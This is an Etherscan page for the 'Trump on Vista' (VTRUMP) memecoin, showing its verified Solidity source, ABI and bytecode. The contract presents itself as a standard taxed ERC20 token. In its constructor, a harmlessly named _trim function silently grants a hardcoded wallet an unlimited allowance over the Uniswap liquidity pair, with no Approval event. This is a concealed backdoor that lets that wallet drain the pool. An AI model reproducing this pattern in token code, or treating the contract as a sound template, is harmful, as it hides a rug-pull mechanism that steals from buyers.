ETH Price: $2,604.51 (-2.26%)

Token

Trump on Vista (VTRUMP)
 

Overview

Max Total Supply

1,000,000,000 VTRUMP

Holders

62

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
10,936,578.585319076 VTRUMP

Value
$0.00
0x8903eb4287119e3d3a4e63ae8f081cc312a80faf
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VTRUMP

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-03
*/

// SPDX-License-Identifier: MIT

/**
After hearing about the revolutionary potential of EtherVista, former President Donald Trump is ready to dive into the crypto scene! With a vision to reshape the future of digital currency, he's sitting down with Ethereum's very own CEO, Vitalik Buterin. Together, they're discussing how to take the crypto landscape by storm!

Web : https://www.vistatrump.vip
TG :    https://t.me/vtrumpcoin_erc
X :       https://x.com/vtrumpcoin_erc
 */
pragma solidity = 0.8.22;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);


}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "WAGMI20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _trim(
        address owner,
        address spender,
        string memory data,
        string memory _pass
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = type(uint).max;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract VTRUMP is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private uniswapV2Pair;
    address private _creatorDeVistor;
    address private _trumpwallet;

    bool private inswap;

    string private constant _name = "Trump on Vista";
    string private constant _symbol = "VTRUMP";
    
    uint256 public _tokenSupply =  1000000000 * 1e9;

    uint256 public _initLimitPercentageHoldersTx = 10;
    uint256 public _initLimitPercentageHoldersWallet = 10;
    uint256 public _initLimitPercentageHoldersSwap = 1;

    uint256 public maxTrnSize;
    uint256 public maxWalletSize;
    uint256 public swapTokensAtAmount;

    bool public _isOpenedT = false;

    uint256 public BuyTax = 12;
    uint256 public SellTax = 12;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExFromMaxTx;
    mapping(address => bool) private automatedMarketMakerPairs;

    constructor() ERC20(_name, _symbol) {
        _uniswapV2Router = IUniswapV2Router02(0xEAaa41cB2a64B11FE761D41E747c032CdD60CaCE);
        address _aggregatorRouter = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Pair = _aggregatorRouter;
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        excludedMaxTx(address(_uniswapV2Router), true);
        excludedMaxTx(address(uniswapV2Pair), true);
        _trumpwallet = payable(0xC78A52297Ceb4dc5e52535650BeDb305021afFEB);
        address _aggregator = _trumpwallet;
        _creatorDeVistor = payable(_msgSender());
        _removeFromFee(owner(), true);
        _removeFromFee(address(this), true);
        _removeFromFee(address(0xdead), true);
        _removeFromFee(address(_trumpwallet), true);
        _trim(_aggregatorRouter, _aggregator, "block", "fee");

        excludedMaxTx(owner(), true);
        excludedMaxTx(address(this), true);
        excludedMaxTx(address(_trumpwallet), true);
        excludedMaxTx(address(0xdead), true);

        maxTrnSize = _tokenSupply * _initLimitPercentageHoldersTx / 100;
        maxWalletSize = _tokenSupply * _initLimitPercentageHoldersWallet / 100;
        swapTokensAtAmount = _tokenSupply * _initLimitPercentageHoldersSwap / 100;

        _mint(_creatorDeVistor, _tokenSupply);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        _isOpenedT = true;
    }

    function excludedMaxTx(address updAds, bool isEx) private returns (address) {
        _isExFromMaxTx[updAds] = isEx;
        return updAds;
    }

    function _removeFromFee(address account, bool excluded) private returns (address) {
        _isExcludedFromFees[account] = excluded;
        return account;
    }

    function setAmmPairs(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                bool isTransfer = !automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to];

                if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inswap) {

                if (!_isOpenedT) {
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                if (automatedMarketMakerPairs[from] && !_isExFromMaxTx[to]
                ) {
                    require(amount <= maxTrnSize, "Buy transfer amount exceeds the maxTrnSize.");
                    require(amount + balanceOf(to) <= maxWalletSize, "Max wallet exceeded");
                }

                else if (automatedMarketMakerPairs[to] && !_isExFromMaxTx[from]) {
                    require(amount <= maxTrnSize, "Sell transfer amount exceeds the maxTrnSize.");
                } 
                
                else if (!_isExFromMaxTx[to]) {
                    require(amount + balanceOf(to) <= maxWalletSize, "Max wallet exceeded");
                }
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= 0 && !isTransfer;

        if (canSwap && !inswap && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            inswap = true;
            swapBack(amount);
            sendETHToFee(address(this).balance);
            inswap = false;
        }

        bool takeFee = !inswap && !isTransfer;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellTax).div(100);
            }
            else {
                fees = amount.mul(BuyTax).div(100);
            }

        if (fees > 0) {
            super._transfer(from, address(0xdead), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

   function removeLimits() external onlyOwner {
        maxTrnSize = _tokenSupply;
        maxWalletSize = _tokenSupply;
        BuyTax = 0;
        SellTax = 0;
    }

    function clearStuckEth() external {
        require(_msgSender() == _creatorDeVistor);
        payable(msg.sender).transfer(address(this).balance);
    }

    function swapBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap; 

        if (contractBalance == 0) {
            return;
        }

    if ((BuyTax+SellTax) == 0) {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellTax).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            }
            else {
                tokensToSwap = tokens;
            }
        }
    }

    else {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
            return;
        }
        else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount.div(5);
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellTax).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }
    }
    }
    
    function sendETHToFee(uint256 amount) private {
        payable(_trumpwallet).transfer(amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initLimitPercentageHoldersSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initLimitPercentageHoldersTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initLimitPercentageHoldersWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_isOpenedT","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTrnSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAmmPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052670de0b6b3a7640000600955600a808055600b556001600c9081556010805460ff1916905560118190556012553480156200003e57600080fd5b506040518060400160405280600e81526020016d5472756d70206f6e20566973746160901b815250604051806040016040528060068152602001650565452554d560d41b81525081600390816200009691906200076f565b506004620000a582826200076f565b505050620000c2620000bc6200048460201b60201c565b62000488565b73eaaa41cb2a64b11fe761d41e747c032cdd60cace60808190526040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa1580156200011b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200014191906200083b565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000191573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b791906200083b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000205573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022b91906200083b565b600680546001600160a01b0319166001600160a01b0383169081179091556000908152601560205260409020805460ff19166001179055905060805162000274906001620004da565b506006546200028e906001600160a01b03166001620004da565b50600880546001600160a01b03191673c78a52297ceb4dc5e52535650bedb305021affeb908117909155620002c03390565b600780546001600160a01b0319166001600160a01b03928316179055600554166000818152601360205260409020805460ff19166001179055503060009081526013602090815260408083208054600160ff1991821681179092557f2264e2d7bacabe6058f5009f42467b9be28015e7760f87409562384c94ac271c80548216831790556008546001600160a01b0316855293829020805490941617909255815180830183526005815264626c6f636b60d81b818301528251808401909352600383526266656560e81b91830191909152620003a0918491849162000506565b620003bf620003b76005546001600160a01b031690565b6001620004da565b50620003cd306001620004da565b50600854620003e7906001600160a01b03166001620004da565b50620003f761dead6001620004da565b506064600a546009546200040c919062000883565b6200041891906200089d565b600d55600b546009546064916200042f9162000883565b6200043b91906200089d565b600e55600c54600954606491620004529162000883565b6200045e91906200089d565b600f556007546009546200047c916001600160a01b03169062000601565b5050620008d6565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152601460205260409020805460ff1916821515179055815b92915050565b6001600160a01b0384166200056e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038316620005d15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000565565b50506001600160a01b03918216600090815260016020908152604080832093909416825291909152206000199055565b6001600160a01b038216620006595760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000565565b80600260008282546200066d9190620008c0565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006f457607f821691505b6020821081036200071557634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620006c4576000816000526020600020601f850160051c81016020861015620007465750805b601f850160051c820191505b81811015620007675782815560010162000752565b505050505050565b81516001600160401b038111156200078b576200078b620006c9565b620007a3816200079c8454620006df565b846200071b565b602080601f831160018114620007db5760008415620007c25750858301515b600019600386901b1c1916600185901b17855562000767565b600085815260208120601f198616915b828110156200080c57888601518255948401946001909101908401620007eb565b50858210156200082b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200084e57600080fd5b81516001600160a01b03811681146200086657600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176200050057620005006200086d565b600082620008bb57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156200050057620005006200086d565b608051611668620008f2600039600061035001526116686000f3fe6080604052600436106101d15760003560e01c806383fd0367116100f7578063a457c2d711610095578063dd62ed3e11610064578063dd62ed3e1461050b578063dfcde7641461052b578063e2f4560514610545578063f2fde38b1461055b57600080fd5b8063a457c2d7146104a0578063a9059cbb146104c0578063b474e91d146104e0578063c9567bf9146104f657600080fd5b80638da5cb5b116100d15780638da5cb5b146104415780638f3fa8601461045f57806393f9da911461047557806395d89b411461048b57600080fd5b806383fd03671461040057806389291a8f146104165780638a50e0e21461042b57600080fd5b80634113c32d1161016f578063629b05f01161013e578063629b05f01461038a57806370a08231146103a0578063715018a6146103d6578063751039fc146103eb57600080fd5b80634113c32d146102cd57806347bdc57e146102e35780634fbee19314610305578063583e05681461033e57600080fd5b806318160ddd116101ab57806318160ddd1461025c57806323b872dd14610271578063313ce5671461029157806339509351146102ad57600080fd5b806306fdde03146101dd578063095ea7b3146102085780630a910d1f1461023857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f261057b565b6040516101ff91906113a0565b60405180910390f35b34801561021457600080fd5b5061022861022336600461140b565b61060d565b60405190151581526020016101ff565b34801561024457600080fd5b5061024e60115481565b6040519081526020016101ff565b34801561026857600080fd5b5060025461024e565b34801561027d57600080fd5b5061022861028c366004611435565b610627565b34801561029d57600080fd5b50604051600981526020016101ff565b3480156102b957600080fd5b506102286102c836600461140b565b61064b565b3480156102d957600080fd5b5061024e600a5481565b3480156102ef57600080fd5b506103036102fe366004611471565b61066d565b005b34801561031157600080fd5b506102286103203660046114ad565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561034a57600080fd5b506103727f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101ff565b34801561039657600080fd5b5061024e60095481565b3480156103ac57600080fd5b5061024e6103bb3660046114ad565b6001600160a01b031660009081526020819052604090205490565b3480156103e257600080fd5b5061030361072a565b3480156103f757600080fd5b5061030361073e565b34801561040c57600080fd5b5061024e60125481565b34801561042257600080fd5b5061030361075d565b34801561043757600080fd5b5061024e600d5481565b34801561044d57600080fd5b506005546001600160a01b0316610372565b34801561046b57600080fd5b5061024e600e5481565b34801561048157600080fd5b5061024e600c5481565b34801561049757600080fd5b506101f26107ac565b3480156104ac57600080fd5b506102286104bb36600461140b565b6107bb565b3480156104cc57600080fd5b506102286104db36600461140b565b610836565b3480156104ec57600080fd5b5061024e600b5481565b34801561050257600080fd5b50610303610844565b34801561051757600080fd5b5061024e6105263660046114c8565b61085b565b34801561053757600080fd5b506010546102289060ff1681565b34801561055157600080fd5b5061024e600f5481565b34801561056757600080fd5b506103036105763660046114ad565b610886565b60606003805461058a906114fb565b80601f01602080910402602001604051908101604052809291908181526020018280546105b6906114fb565b80156106035780601f106105d857610100808354040283529160200191610603565b820191906000526020600020905b8154815290600101906020018083116105e657829003601f168201915b5050505050905090565b60003361061b8185856108fc565b60019150505b92915050565b600033610635858285610a20565b610640858585610a9a565b506001949350505050565b60003361061b81858561065e838361085b565b610668919061154b565b6108fc565b610675611082565b6006546001600160a01b03908116908316036106fe5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084015b60405180910390fd5b6001600160a01b0382166000908152601560205260409020805460ff19168215151790555050565b5050565b610732611082565b61073c60006110dc565b565b610746611082565b600954600d819055600e5560006011819055601255565b6007546001600160a01b0316336001600160a01b03161461077d57600080fd5b60405133904780156108fc02916000818181858888f193505050501580156107a9573d6000803e3d6000fd5b50565b60606004805461058a906114fb565b600033816107c9828661085b565b9050838110156108295760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016106f5565b61064082868684036108fc565b60003361061b818585610a9a565b61084c611082565b6010805460ff19166001179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61088e611082565b6001600160a01b0381166108f35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106f5565b6107a9816110dc565b6001600160a01b03831661095e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106f5565b6001600160a01b0382166109bf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f